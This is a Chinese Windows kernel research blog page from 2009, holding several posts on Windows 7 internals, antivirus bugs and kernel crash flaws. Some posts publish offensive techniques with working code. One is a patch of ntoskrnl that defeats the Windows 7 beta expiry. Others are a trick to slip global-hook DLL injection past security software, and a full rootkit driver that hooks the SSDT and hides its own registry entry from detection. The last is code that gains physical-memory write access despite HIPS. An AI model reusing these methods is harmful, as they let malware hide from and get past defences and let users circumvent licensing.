百度空间 | 百度首页 
               
 
文章列表
 
2009-07-09 19:31

WIN7 BETA版本从7月1日开始,启动2小时后,就会蓝屏重启。

蓝屏代码为:0x00000098

参考WINDBG帮助文件中的解释:

Bug Check 0x98: END_OF_NT_EVALUATION_PERIOD

The END_OF_NT_EVALUATION_PERIOD bug check has a value of 0x00000098. This bug check indicates that the trial period for the Microsoft Windows operating system has ended.

如何不让其过期:

在ntoskrnl中搜索特征:68 68 02 00 c0

搜索到后向上搜索72 XX 38 YY (XX YY为任意值)

找到的地址假设为i,找到后将i+2的位置修改为jmp i+xx+2

实际是内核使用KeInitializeTimerEx创建了一个Timer,然后计算当前时间,到2小时,开始验证license。如果发现时间过期了,则先创建一个系统线程,通过ExRaiseHardError触发一个特殊的内核异常代码。然后再一次则调用PoShutdownBugCheck引发一个蓝屏关机

类别:默认分类 | 评论(10) | 浏览()
 
2009-07-08 18:25

感谢帮我买书的LP~

类别:默认分类 | 评论(21) | 浏览()
 
2009-07-03 21:15

其on-access scan 服务进程McShield.exe,会在进程启动时通过on-access driver获取加载的进程,并进行扫描前,扫描前有一段非常挫的操作:

hproc = OpenProcess(PROCESS_ALL_ACCESS , FALSE , pid);

....

NtQueryInformationProceess(hproc...)

...

CloseHandle(hproc);

如果OpenProcess失败,则会在后面的操作出现一些问题,在进行一个APC注入时,导致目标进程崩溃~

这个问题在MCAFEE 8.5/8.7中修补了,直接拿掉了这段叫人哭笑不得的代码

所以说公司大了,什么垃圾人都有~写这代码的人完全没有一点编程基础啊。。。

另外mcafee 8.0在scan file时非要带上WRITE权限~ 真的很挫,不知道8.5改了没有~懒得看了。这些所谓的国外大厂商的产品,实际经不起大量用户的考验。

补充一下,趋势的一个类似的产品也有这个类似的问题~

类别:默认分类 | 评论(16) | 浏览()
 
2009-07-02 18:55

本文介绍了一种思路,利用安全软件驱动和WINDOWS本身处理全局钩子安装过程的不同,以绕过安全软件对全局钩子安装的拦截。这种方法并不保证能通用于任何安全软件。

安全软件,例如HIPS,AV等,通常会安装 NtUserSetWindowsHookEx / NtUserSetWinEventHook的钩子

拦截全局钩子注入,防止键盘、消息拦截或者DLL注入。

在这两个函数的参数中,都存在一个pstrlib参数,指向了要注册全局钩子的DLL路径名,这个路径是DOS路径名,通常安全软件会分配BUFFER,将pstrlib这个UNICODE_STRING中的字符串读取出来,再加上NT路径头 (\??\),然后进行相关处理后传递给RING3的处理程序,比较常见的例如使用RtlCopyUnicodeString , 或者直接RtlCopyMemory(LocalName , pstrlib->Buffer , pstrlib->Length)

而WINDOWS函数自身,例如NtUserSetWindowsHookEx, NtUserSetWinEvnetHook,他们是怎么处理这个参数的呢?

实际上,这些函数最终会调用内部函数GetHmodTableIndex将DLL名加入一个ATOM Table中,并返回一个INDEX,记为为ihmod,等到CallNextHook2,或者分发winevent hook 时,通过 ihmod再取回这个index,得到DLL名,并通过User mode callback调用LoadLibrary加载这个DLL

GetHmodTableIndex则会调用一个UserAddAtom函数来将DLL名加入UserAtomTableHandle这个atom中。UserAddAtom这个函数接收的DLL名参数,是一个LPCWSTR类型的字符串,来自pstrlib->Buffer.UserAddAtom并不关心pstrlib->Length的长度。等到向RING3程序注入这个DLL时,调用xxxLoadHmodIndex中才在UserGetAtomName获取这个字符串后,通过调用RtlInitUnicodeString重新计算这个字符串的长度。

那么,很简单的方法就可以绕过安全软件的全局钩子拦截了:

(1).length 传入0,直接绕过检测

(2).buffer为c:\windows\system32\msctf.dllx

length传递为该字符串字节长度-sizeof(wchar)

也就是让安全软件得到错误的系统DLL名,实际注册的是其他的文件

类别:默认分类 | 评论(9) | 浏览()
 
2009-06-16 02:42

MB_SERVICE_NOTIFICATION,这是MessageBox函数提供的一个Type值,这个值允许通过CSRSS.exe而不是进程本身来弹出一个MessageBox。

当调用MessageBox时nType参数中包含了MB_SERVICE_NOTIFICATION或MB_DEFAULT_DESKTOP_ONLY标志,MessageBox将调用use32.dll内部的一个函数:ServiceMessageBox,代码如下:

MessageBoxWorker(...)

{

....省略无关代码...

    if (dwStyle & (MB_DEFAULT_DESKTOP_ONLY | MB_SERVICE_NOTIFICATION)) {

        if (pMsgBoxParams->hwndOwner != NULL) {
             SetLastError(ERROR_INVALID_PARAMETER);
            return 0;
        }

        return ServiceMessageBox(pMsgBoxParams->lpszText,
                                 pMsgBoxParams->lpszCaption,
                                 dwStyle & ~MB_SERVICE_NOTIFICATION);
    }
    }

ServiceMessageBox根据当前的会话状况不同调用不同的函数来实现弹框。

XP的话首先会判断当前是否是终端服务器版本(通过UserSharedData->SuiteMasks是否包含VER_SUITE_TERMINAL ),如果不是服务器版本,直接调用NtRaiseHardError 来通知CSRSS,VISTA则不会走这一步,因为VISTA默认就会有1个以上的会话在运行。

接着ServiceMessageBox会通过NtOpenThreadToken函数来试图打开当前线程的Token,此函数仅在当前线程进行了Token 模拟(Impersonation)时才会返回成功。若此函数返回了被模拟的线程Token,则通过NtQueryInformationToken(TokenSessionId)取得此TOKEN所在的会话ID。

接着,会通过kernel32!ProcessIdToSessionId调用NtQueryInformationProcess(ProcessSessionInformation)获得当前进程的SessionId(若失败,则从NtCurretnTeb()->Peb->SessionId获取)

最后,比较模拟的Token的SessionId是否等于当前进程的SessionId,若不等于,说明当前进程和被模拟的TOKEN不属于同一会话,此时,ServiceMessageBox会通过调用winsta!WinStationSendMessageW来实现弹框,WinStationSendMessageW函数调用CSmartSession::ShowMessageBox找到当前活动会话中的CSRSS,并调用RpcShowMessageBox来通知当前活动会话中的csrss来弹出通知对话框。

若会话相同,则仍旧调用NtRaiseHardError来通知默认ExceptionPort的csrss.

通常系统服务在弹出对话框前都会模拟当前活动会话中的TOKEN,这样调用MessageBox弹框时就可以在当前用户上显示出来。

在VISTA之前,因为默认会话和服务是在同一个会话中,所以我们一般感受到的服务弹框都是调用NtRaiseHardError实现的,只有在切换到其他会话时,才会出现调用 RpcShowMessageBox的情况

但VISTA之后,由于服务进程单独享有一个会话(0号会话),因此所有来自服务的弹框,都会通过RpcShowMessageBox来显示出来。

至于CSRSS如何处理MESSAGEBOX的RPC(HandleHandError等),早已是众所周之了,在这里不多赘述,感兴趣的可以参考WIN2K源代码

类别:默认分类 | 评论(3) | 浏览()
 
2009-06-09 15:14

音乐很不错(http://www.6621.com/Music_List/987132D1A.html),气氛很不错,斑驳的胶片色彩也不错。

特效就不用说了,超越以前看过的任何电影。不只是特效本身,而是特效带来的感觉。

片尾显示的lead digital artist整整两屏幕,太强大了

T4中有很多向前几集致敬的部分,例如john用来引诱摩托终结者放的那首枪花的歌,和他在T2中骑摩托去实验ATM吐钱时听的是同一首(YOU COULD BE MINE)

期待T5 T6中....

类别:默认分类 | 评论(9) | 浏览()
 
2009-06-08 23:06

在VISTA 和WINDOWS 7 (ALL SP,全补丁)的内核代码完整性校验组件中,存在一处解析PE的BUG,可引发系统蓝屏。不过从现在看来,此问题似乎需要LoadDriver权限才能触发,因此不能算安全性问题,属于稳定性问题。

在VISTA以后的操作系统,系统使用MmLoadSystemImage加载驱动之前,会调用MmCheckSystemImage函数来检查镜像正确性,在VISTA及以后的操作系统中,MmCheckSystemImage发生了一个有意思的变化.

原本MmCheckSystemImage(vista以前的系统上),会使用SEC_IMAGE作为AllocationAttributes来调用ZwCreateSection为驱动文件创建Section,但是VISTA以后的系统上,该参数被换成了一个未公开的值: 0x100000(注意,SEC_IMAGE是0x1000000,6个0)。

在ZwCreateSection 中,系统会检查如果调用线程的上个模式不是KernelMode,则不允许使用这个未公开的AllocationAttributes:

NtCreateSection:

............无关部分........

//取当前线程上个模式

if (KeGetPreviousMode() != KernelMode)
{

//如果是用户模式,如果Attributes有0x2000000或0x10000的话,则返回无效参数
    v13 = 0;
    if ( !(Attributes & 0x2100000) )
    {
          .....无关处理....

    }
    return STATUS_INVALID_PARAMETER_6;
}

然后在NtCreateSection->MmCreateSection(这个函数在VISTA开始发生了巨大的变化)中,进行一些判断后(包括这个特殊的Attributes),系统会调用MiValidateImageHeader进行镜像检查,此时系统会将这个镜像通过MiMapImageInSystemCache函数map到系统缓存中,然后将按镜像的页数 * PAGE_SIZE大小的,分配分页内存,并将PE数据COPY到内存中

接着系统会调用SeValidateImageHeader函数,这个函数只是简单地为_g_CiCallbacks中存放的函数准备函数,便调用_g_CiCallbacks存放的函数。_g_CiCallbacks这个全局变量中存放着系统初始化时(SeInitSystem->SepInitializationPhase1->SepInitializeCodeIntegrity)存入的 ci.dll的CiValidateImageHeader函数。

CiValidateImageHeader首先会对镜像进行一些检查工作,然后开始调用CipValidateFileHash函数,CipValidateFileHash函数对文件做一些解析工作后,开始调用CipImageGetImageHash,此函数会分析PE的每一个节,并对其节内数据调用SHA签名算法函数A_SHAUpdate。

注意前面加粗的文字,由于是按整页数来分配和COPY数据的,因此如果某一个节的数据长度(SizeOfRawData)超出了页对齐的范围(MiMapImageInSystemCache似乎并不将这个数据算成一个新的节),那么A_SHAUpdate中的数据COPY函数将触及到未分配内存,从而引发BSOD。

这里提供一个简单的例子(下载到:http://www.debugman.com/read.php?tid=3217帖子中的附件或http://mj0011.ys168.com 漏洞演示目录下bsodxx.rar)

这个PE文件的最后一个节的SizeOfRawData是0x1004,使用任意一个加载工具加载此文件,系统将立即BSOD,BSOD时的Stack类似:

kd> kc

nt!MmAccessFault
nt!KiTrap0E
nt!memcpy
CI!A_SHAUpdate
CI!CipImageGetImageHash
CI!CipValidateFileHash
CI!CiValidateImageHeader
nt!SeValidateImageHeader
nt!MiValidateImageHeader
nt!MmCreateSection
nt!NtCreateSection
nt!KiFastCallEntry
nt!ZwCreateSection
nt!MmCheckSystemImage
nt!MiCreateSectionForDriver
nt!MiObtainSectionForDriver
nt!MmLoadSystemImage
nt!IopLoadDriver
nt!IopLoadUnloadDriver

因此说,解析PE很危险啊很危险,MS搞了个CI.DLL吓坏了一帮人啊,结果自己解析还写错了~该打~

类别:默认分类 | 评论(6) | 浏览()
 
2009-06-04 12:37

DirectShow 0day(KB971778)是一个成功率极高的高风险0DAY漏洞,此漏洞已经被开始公开利用,最近两天应该将在国内大规模爆发。

360安全卫士在全球首个发现此0DAY并上报给微软安全响应中心,并就此0DAY发布了重大安全事件预警:

http://bbs.360.cn/3451604/26111934.html?recommend=1

漏洞影响WINDOWS XP和WINDOWS 2003以及所有核心(IE、FireFox....)的浏览器,攻击成功后攻击者可执行任意代码。其攻击形势不亚于往年任何一个IE 0DAY,例如去年的IE XML 0DAY,07年的ANI 0DAY等

微软在5月28日提供的禁止IE组件的解决方案并不能彻底解决这个问题,攻击者仍可绕过这种禁止来达到攻击目的

而微软的补丁可能需要1-2个月后才能发布,这段时间将成为0DAY攻击最高峰。国内安全厂商也将经受一次考验

国内安全厂商的网页防漏也无法拦截这次攻击,攻击者仍可通过修改ShellCode等方法,绕过所有的所谓“网盾”,“网页防漏”

国内某些厂商例如金山,照抄微软的解决方案发布的所谓“漏洞补丁”,自然也根本无法拦截这个漏洞的攻击

目前,只有360安全卫士提供的临时补丁能够彻底拦截这一0DAY攻击:

http://dl.360safe.com/360safefixavi.exe

类别:默认分类 | 评论(16) | 浏览()
 
2009-06-02 00:26

几个月前,我曾在某些帖子谈论过这个技术

现在六一节到了,为了满足广大饥渴的小朋友们,特此放出

=====================================================

Mark在Windows Internals 4th(p 210)中提到过,WIN2000下,为了保持系统HIVE的完整性,系统在刷新SYSTEM HIVE的同时,会刷新一个名为“替补储巢”的hive :System.alt

当系统储巢System已经损坏,无法加载时,就会选择这个替补储巢system.alt来加载.这是由于win2000的ntldr不知道如何使用储巢日志文件(system.log)来进行储巢修复导致的,Mark称windows XP以后的系统已经抛弃了这一机制

但事实如何呢?首先我们来看一下某份NT4的代码:

下面这个函数是BootLoader(ntldr)用来加载系统HIVE的函数:

ARC_STATUS
BlLoadAndScanSystemHive(
    IN ULONG DeviceId,
    IN PCHAR DeviceName,
    IN PCHAR DirectoryPath,
    IN PWSTR BootFileSystem,
    OUT PCHAR BadFileName
    )
...................
省略无关部分
.....................

    strcpy(Directory,DirectoryPath);
    strcat(Directory,"\\system32\\config\\");
    Status = BlLoadAndInitSystemHive(DeviceId,
                                     DeviceName,
                                     Directory,
                                     "system",
                                     FALSE,
                                     &RestartSetup);

    if(Status != ESUCCESS) {
        //
        // bogus hive, try system.alt
        //
        Status = BlLoadAndInitSystemHive(DeviceId,
                                         DeviceName,
                                         Directory,
                                         "system.alt",
                                         TRUE,
                                         &RestartSetup);
        if(Status != ESUCCESS) {
            strcpy(BadFileName,DirectoryPath);
            strcat(BadFileName,"\\SYSTEM32\\CONFIG\\SYSTEM");
            goto HiveScanFailed;
        }
    }

可以看到,系统首先会尝试加载system hive,当systemroot\system32\config下的SYSTEM HIVE不存在或出现故障,则会尝试加载systemroot\system32\config下的system.alt HIVE

事实上,这部分代码一直保留在WINDOWS XP和WINDOWS 2003中,直到VISTA中才去除掉,VISTA系统中已更改为仅加载SYSTEM储巢,如果SYSTEM储巢加载失败,直接拒绝继续启动。

但是,这里只是NTLDR加载的储巢,这些储巢在系统启动后会被丢弃(保存在BootLoaderBlock中)

SMSS将调用SSDT中的NtInitializeRegistry函数,通过CmpCmdInit->CmpInitializeHiveList,通过CmpLoadHiveThread系统线程为CmpMachineHiveList中的每个系统储巢做加载和初始化工作

这里系统只识别\SystemRoot\System32\Config\System储巢,如果无法加载这个储巢,系统将调用KeBugCheckEx使系统蓝屏,蓝屏代码为STATUS_CANNOT_LOAD_REGISTRY_FILE

有了上面的知识,我们很容易便可知道如何隐藏一个注册表了:

只要我们将当前SYSTEM储巢删除或者使其无法正确识别,然后在config目录下保留包含了我们的驱动服务项的SYSTEM.ALT储巢,此时重启系统,NTLDR会使用我们的SYETEM.ALT储巢,于是会加载我们的驱动程序

我们在驱动中,HOOK NtInitializeRegistry函数,等待NT内核再次初始化系统储巢,等到后,我们将SYSTEM储巢恢复(move file / fix file /redir file...),此时系统就能正常引导了

但是此时系统加载的是不包含我们的驱动服务项的储巢,所以任何利用正常、非正常枚举手法进行的检测,都检测不到我们的驱动注册表。无论是还原nt*key函数进行枚举,还是使用cm*key进行枚举,还是使用所谓的Hive解析技术进行枚举。

下面是一个这个驱动的小POC,代码如下:

#include "ntddk.h"
#include "ntifs_48.h"
#include "zwfunc.h"
#include "stdafx.h"

#define MYDEBUG 1

#if MYDEBUG

#define KDMSG(_x_) DbgPrint _x_

#else

#define KDMSG(_x_)

#endif
ULONG OldNtInitializeRegistry =0;
BOOL SystemHiveIsBuild = FALSE ;
const WCHAR RealSystemHiveLocation[] = L"\\SystemRoot\\System32\\Config\\SYSTEM";


NTSTATUS NewNtInitializeRegistry(USHORT BootCondition)
{
NTSTATUS stat ;
HANDLE hfile ;
IO_STATUS_BLOCK iosb ;
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING FileName ;
UNICODE_STRING SystemSave ;

KDMSG(("NtInitializeRegistry is call!"));

if (SystemHiveIsBuild == FALSE)
{
   RtlInitUnicodeString(&FileName , RealSystemHiveLocation);
  

   InitializeObjectAttributes(&oba , &FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );


   stat = IoCreateFile(&hfile ,
    FILE_ALL_ACCESS ,
    &oba ,
    &iosb,
    NULL,
    FILE_ATTRIBUTE_NORMAL ,
    FILE_SHARE_READ | FILE_SHARE_WRITE ,
    FILE_OPEN ,
    FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
    NULL,
    0,
    CreateFileTypeNone ,
    0,
    IO_NO_PARAMETER_CHECKING);

   KDMSG(("open config\\system return %08x\n",stat));

   if (!NT_SUCCESS(stat))
   {
    if (stat != STATUS_OBJECT_NAME_NOT_FOUND && stat != STATUS_OBJECT_PATH_NOT_FOUND)
    {
     goto end ;
    }
   }
   else
   {
    ZwClose(hfile);
    goto end ;
   }

   //now system hive is not found

   //move file
   {
    PFILE_RENAME_INFORMATION renameinfo ;

    renameinfo = (PFILE_RENAME_INFORMATION)ExAllocatePool(NonPagedPool , sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR));

    renameinfo->FileNameLength = sizeof(RealSystemHiveLocation) - sizeof(WCHAR);
    renameinfo->ReplaceIfExists = TRUE ;
    renameinfo->RootDirectory = 0 ;
    RtlCopyMemory((PVOID)renameinfo->FileName, (PVOID)RealSystemHiveLocation , sizeof(RealSystemHiveLocation));

    RtlInitUnicodeString(&FileName , L"\\SystemRoot\\System32\\SYSTEM");
   
   
    InitializeObjectAttributes(&oba , &FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );
   
   
    stat = IoCreateFile(&hfile ,
     FILE_ALL_ACCESS ,
     &oba ,
     &iosb,
     NULL,
     FILE_ATTRIBUTE_NORMAL ,
     FILE_SHARE_READ | FILE_SHARE_WRITE ,
     FILE_OPEN,
     FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
     NULL,
     0,
     CreateFileTypeNone ,
     0,
     IO_NO_PARAMETER_CHECKING);

    KDMSG(("open system\\system return %08x\n" , stat));

    if (!NT_SUCCESS(stat))
    {
     ExFreePool(renameinfo);
     goto end ;
    }

    stat = ZwSetInformationFile(hfile ,
     &iosb ,
     renameinfo ,
     sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR) ,
     FileRenameInformation);

    KDMSG(("rename file return %08x\n" , stat));

    ZwClose(hfile);
   
    SystemHiveIsBuild = TRUE ;
   }

}

end:
__asm
{
   movzx eax , BootCondition
   push eax
   call OldNtInitializeRegistry
   mov     stat ,eax
}

return stat ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT Drvobj , PUNICODE_STRING RegistryPath)
{
ULONG OldCr0 ;
//drv load, hook NtInitializeRegistry

//IN WINDOWS XP , index of ZwInitializeRegistry is 0x5c

__asm{
   push eax
   push ebx
   cli
   
   mov eax , cr0
  
   mov OldCr0 , eax
  
   and eax , 0xFFFEFFFF
   
   mov cr0 , eax

   mov eax ,dword ptr[KeServiceDescriptorTable]
  
   mov eax , dword ptr[eax]
   //get service base

   mov ebx , dword ptr[eax + 0x5c * 4]

   mov OldNtInitializeRegistry , ebx

   mov ebx , NewNtInitializeRegistry

   mov dword ptr[eax + 0x5c * 4] , ebx

   mov eax , OldCr0

   mov cr0 , eax

   sti

   pop ebx
  
   pop eax

}

return STATUS_SUCCESS ;
}
另外,如前面所说,这个技术是无法用于WINDOWS VISTA / 7的,VISTA的WINLOAD.EXE中已经去掉了这种机制


当然,这只是一个技巧,但是反映了一些思想:

1.所谓绕过检查,就是要让系统在某一时刻认为你是存在的,而某一时刻认为你是不存在的,利用信息的不对称来使检查失效

2.NTLDR和NTOSKRNL之间,也算是一种信息不对称,例如TOPHET,例如本篇这个技巧,都是利用NTLDR中缺少某种机制,而NTOSKRNL中存在这种机制,由于NTLDR缺少这种机制(例如TOPHET中,访问SCSI驱动器的机制),那么自然给了攻击者可趁之机

当然,微软在VISTA中大大弥补了这些不对称,但是可想而知,还是有更多的未知等着大家去探索。

类别:默认分类 | 评论(12) | 浏览()
 
2009-05-17 15:44

DbgkLkmdRegisterCallback这是一个WINDOWS 7新增的无文档内核函数

用于创建一个Live kernel memory dump的回调

函数原型为:NTSTATUS DbgkLkmdRegisterCallback(PLKMD_CALLBACK CallBack , PVOID Context , ULONG CallbackType);

CallBackType有两个可能值:

#define SNAP_THREAD 1

#define SNAP_PROCESS 2

相关函数:

NTSTATUS DbgkLkmdUnregisterCallback(PLKMD_CALLBACK CallBack);

反注册callback

NTSTATUS DbgkpLkmdFireCallbacks(PLKMD_INFORMATION LkmdInfomation , ULONG CallbackType, PVOID ProcessOrThreadObject);

调用callbacks(未导出)

回调函数形如:

NTSTATUS DbgLkmdCallback(PVOID DbgkpLkmdSnapDataRoutine , PVOID DbgkpLkmdIsMemoryBlockPresentFromCallbackRoutine , PLKMD_INFORMATION LkmdInformation , PVOID Context);

若CALLBACK返回值<0,则调用DbgkpTriageDumpRestoreState,

类别:默认分类 | 评论(5) | 浏览()
 
2009-05-17 13:22

众所周知,WINDOWS 2000/XP/2003 SP0系统上,提供了一个\Device\PhysicalMemory的Section对象,可以直接操作物理内存对象。直接操作此对象映射的物理内存,可以操作RING0内存,达到无驱进入RING0的目的。

这已是很多年前就被用烂了的技术了,大部分驱动防火墙、绝大部分HIPS软件、AntiVirus软件等都对此进行了防御。不过,老树也能开新花,我们来看看这个东东的新利用方法:

1).CreateSymbolicLink,这也是很古老的方法,很多安全软件也已经防御。因为一些安全软件只防御了NtOpenSection,并根据打开的对象名是否是\Device\PhysicalMemory来进行拦截,但是只要对\Device\PhysicalMemory创建符号链接,那么一样可以使用NtOpenSection打开

2).Duplicate法,大部分目前的安全软件,都是拦截\Device\PhysicalMemory并判断DesiredAccess是否包含SECTION_MAP_WRITE(除了一些极端无聊的没人用的HIPS外,这种的完全可以无视), 因为一些正常的软件,也需要打开\Device\PhysicalMemory进行物理内存读入(例如微软Wga~)。

但这就让攻击者有空可钻,攻击者可以先以SECTION_MAP_READ打开物理内存对象,再以SECTION_MAP_WRITE方式duplicate handle,这样就可以获取对物理内存的写权限,进行物理内存写入了。大部分安全软件都没有防御这种方式(例如瑞*),这样,攻击者又重新获得了对于系统至高无上的权利~

示例代码:

UNICODE_STRING uniname ;
OBJECT_ATTRIBUTES oba ;

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenSection");
uniname.Buffer = (PWSTR)phyname;
uniname.Length = sizeof(phyname) - sizeof(WCHAR);
uniname.MaximumLength = sizeof(uniname);
HANDLE handle ;
LONG stat ;
InitializeObjectAttributes(&oba , &uniname , 0x40 , 0 , 0 );
__asm{
   lea eax , oba
   push eax
   push 4
   lea   eax , handle
   push eax
   call p
   mov stat , eax
}
printf("stat 1 %08x\n" , stat);
HANDLE xhandle ;
BOOL bret = DuplicateHandle(GetCurrentProcess() , handle,GetCurrentProcess() , &xhandle , SECTION_MAP_WRITE | SECTION_MAP_READ , FALSE , DUPLICATE_CLOSE_SOURCE);

类别:默认分类 | 评论(17) | 浏览()
 
2009-05-13 18:47

作者:MJ0011 2009.05.13

感谢:Iceboy发现此问题并提供DUMP

漏洞厂商及产品:Microsoft Windows 7 rc 7100 090421

存在漏洞组件:win32k.sys Timestamp :49ee8dc8

存在漏洞函数:NtUserGetDc/NtUserGetDcEx

漏洞描述:Win32k.sys是WINDOWS的GDI驱动程序,包含大量复杂的图形界面处理,由于其中大量代码是从WIN3.1中修改过来,因此成了WINDOWS漏洞多发之地。

这个漏洞主要是因为Windows 7 在其NtUserGetDc/NtUserGetDcEx函数中(也许不仅仅是这两个函数)不正确地使用了共享临界锁,导致了任何权限下的GDI程序可以引发内核BSOD,从而进行DOS攻击

漏洞分析:

在WINDOWS VISTA中,在这两个函数进入前,会调用UserEnterUserCirtSec,进入临界区,同时会将gptiCurrent设置为当前线程的WIN32THREAD

UserEnterUserCritSec的实现如下:

PWIN32THREAD UserEnterUserCritSec()
{

PWIN32THREAD pwin32Thread;

pwin32Thread = ExEnterPriorityRegionAndAcquireResourceExclusive(gpresUser);
gptiCurrent = pwin32Thread;
gbValidateHandleForIL = 1;
return pwin32Thread;
}

ExEnterPriorityRegionAndAcquireResourceShared是NTOSKRNL 导出一个提供给WIN32K使用的共享资源锁函数,这个函数将共享锁住gpresUser这个资源,同时返回当前线程的Win32Thread,即KeGetCurrentThread->Win32Thread

同时内核函数ExEnterPriorityRegionAndAcquireResourceExclusive也与其类似。


(XP则是调用KeEnterCriticalRegion后,用ExAcquireResourceExclusiveLite锁住gpresUser,然后用PsGetCurrentThread->PsGetThreadWin32Thread获得当前线程win32kthread,存放到gptiCurrent)

而在windows 7 中,这两个函数进入前,改为了调用UserEnterSharedCrit,进入共享临界区

UserEntrySharedCirt的实现很简单

PWIN32THREAD EnterSharedCrit()
{
return ExEnterPriorityRegionAndAcquireResourceShared(gpresUser);
}

可以注意到,这里并不设置gptiCurrent,事实上,NtUserGetDc/NtUserGetDcEx会将这个函数保存在寄存器中以便使用CurrentWin32Thread中存放的数据

从关键临界转为共享临界,无疑这样的修改将提升NtUserGetDc/NtUserGetDcEx的效率,减少了锁竞争的可能,但是在这里这样修改是错误的.

因为在共享临界中,没有修改gptiCurrent,那么就很可能遇到gptiCurrent非法的状态,比如遇到一个没有做PsConvertToGuiThread的线程导致了gptiCurrent为空.

WIN32K中有大量内部例程(经常以zzz,xxx开头),他们都认为在调用自己之前,gptiCurrent是一个有效的状态。这其中就包括了xxxDestoryWindow

一个BSOD的例子是:NtUserGetDc->GetWindowDc->GetDcEx->SpbCheckDce->SpbCheckRect->SpbCheckRect2->FreeSpb

调用到FreeSpb时,这里要释放一个spb对象了

接着就到

FreeSpb->HMAssigmentUnlock->HMUnlockObject->HMUnlockObjectInternal->HMDestroyUnlockedObject,最终调用到了ganti表中的函数,由于这里是GetWindowDc,所以将调用xxxDestroyWindow,xxxDestroyWindow第一句代码就无检查引用了gptiCurrent指针中的数据,自然直接导致BSOD

解决方案:

等待微软更新官方补丁.

微软可能的更新手段:

牺牲效率将NtUserGetDc等中的不正确共享锁替换为关键临界锁,或者将所有NtUserGetDc等函数可能用到的内部函数中的gptiCurrent引用去掉或换为不引用gptiCurrent的其他函数

类别:默认分类 | 评论(10) | 浏览()
 
2009-05-10 19:14

以下涵盖了今天大约用了2个小时分析的 Windows 7 RC内核NT*函数的变动,全部来自对WIN7 RC的内核的反汇编,没有太深入分析,包含了一些我觉得有一些意思或者影响的变动、增加的功能和函数等

这里的变动和新增,指的是相对于WRK,即WIN2003 内核的变动,因此有些很多变动在VISTA中就已经有了

(1).NtCreateFile / NtOpenFile:
以下函数将改走IopCreateFile,而不是象此前的操作系统是从IoCreateFile->IopCreateFile
因此希望像从前一样hook IoCreateFile就掌控对文件打开、创建是不再可行了
同时IopCreateFile亦有CALLBACK机制了~很猥琐

但管道和邮槽的创建仍是走IoCreateFile


(2).Nt*Key

Nt*Key(除了Create/Open等)对于KeyHandle的引用改为了CmObReferenceObjectByHandle,并对KeyObject做一些校验

这样可能导致一些爆搜方式的XX实效了~

(3).NtFreezeRegistry/NtThawRegistry
冻结和解冻注册表操作,这个在VISTA就有了可以做一些猥琐的XX

(4).NtMakePermanentObject
创建永久对象的好东东, 也是VISTA支持

(5).NtNotifyChangeSession
很有用的东东

(6).NtQueryInformationProcess/NtSetInformationProcess:

新增InformationClass:

ProcessTotalCycleTime : 38
ProcessDefaultPagePriority 39
40号ID未使用
41号ID看了半天不知道是干啥的...
ProcessWorkingSetWatch 42
ProcessImageFileDosDeviceName :43
取进程全路径DOS名,这个东东很厚道~
ProcessIsSameFileProcess 44
检查指定的FileHandle是否和指定进程是同一个文件,这个东西也不错
ProcesssAffinityUpdateModeEnable 45
ProcessVmTopDown 46
ProcessActiveGroupsMask 47
ProcessVirtualizationToken 48(只能SET)

//虚拟化的TOKEN~

ProcessConsoleHostProcess 49
ProcessCopyProcessHeap 50
很强大~
(7).NtQueryInformationThread

新增InformationClass:

ThreadLastCall 21

ThreadThreadIoPriority 22
//传说中的IO优先级~

ThreadTotalCycleTime 23

ThreadPagePriority 24

ThreadFullTeb 26
//获得整个TEB

ThreadAffinty 30

ThreadProfing 32

ThreadIdealProcessor 33


(8).NtQueryInformationToken:

新增InformationClass

TokenLogonSessionFlags 18
TokenGetLogonSessionToken 19
TokenXxxTokenSid 20(不知道是啥)
TokenXxxTokenFlags 21 (tokenflags & 0x810,不知道是啥)
TokenAccess 22
TokenTokenFlagsPos9 23
TokenTokenFlagsPos10 24
TokenGetTokenIntergrity 25

//ADMIN完整性。。

TokenTokenFlagsPos12 26

TokenMandatoryPolicy 27

(9).NtQuerySystemInformation/NtQuerySystemInformationEx/NtSetSystemInformation

SystemBasePriorityInformation 82 (need increasebasepriority privilege)
SystemRefTraceInformation 86
SystemSpecialPoolInformation 87
SystemProcessesWithFullImageNameInformation 88

这个太强大了。。。

SystemRegisterErrorPort(only set , need tcb privilege)

SystemBootEnvironmentInformation 90

获取BootIdentifier GUID(_LOADER_PARAMETER_BLOCK->LOADER_PARAMETER_EXTENSION->BootIdentifier(GUID))
从此轻松定位BCD~


SystemEnlightenmentInformation 91
SystemVerifierInformtionEx 92
SystemCovInformation 95
SystemPartitionDeviceNameInformation 98
SystemDiskDeviceNameInformation 99
SystemPerformanceDistributionInforamtion 100
SystemNumaProximityNodeInformation 101
SystemTimeZoneInformation 102
SystemCodeIntegrityInformation 103
SystemProcessorMircoCodeUpdateInformation 104(only set)
SystemtProcessorBrandStringInformation 105
SystemSystemVaInformation 106
SystemLogicalProcessorRelationshipInformation 107
SystemStoreInformation 109
SystemRegistryAppendStringInformation 110 (only set)
SystemAitSamplingInformation 111(only set)
SystemVhdBootInformation 112
SystemCpuQuotaInformation 113
SystemLowPriorityIoInformation 116
SystemTpmBootEntropyInformation 117(only in kernel mode)
SystemVerifierInformation 118
SystemAdjustPagedPoolWorkingSetSizeInformation 119(only set)
SystemAdjustSystemPtesWorkingSetSizeInformation 120(only set)
SystemNumaNodesInformation 121
SystempAuditQueryResultsInformation 122
SystemCommitInformation 123(total commit pages / Total Commit limt / Peak Commitment)

(10).NtQueueApcThreadEx
强大~

目前NtQueueApcThread直接调用NtQueueApcThreadEx实现

穿越HIPS~

(11).NtSystemDebugControl

参考:http://hi.baidu.com/mj0011/blog/item/b3ee910a05811636b1351db5.html


类别:默认分类 | 评论(10) | 浏览()
 
2009-05-10 16:22

NtSystemDebugControl函数在WIN7 RC下支持以下功能:

(如果KdPitchDebugger为TRUE,即在bcd中指定了nodebug,则只支持29号功能)

需要校验DEBUG权限

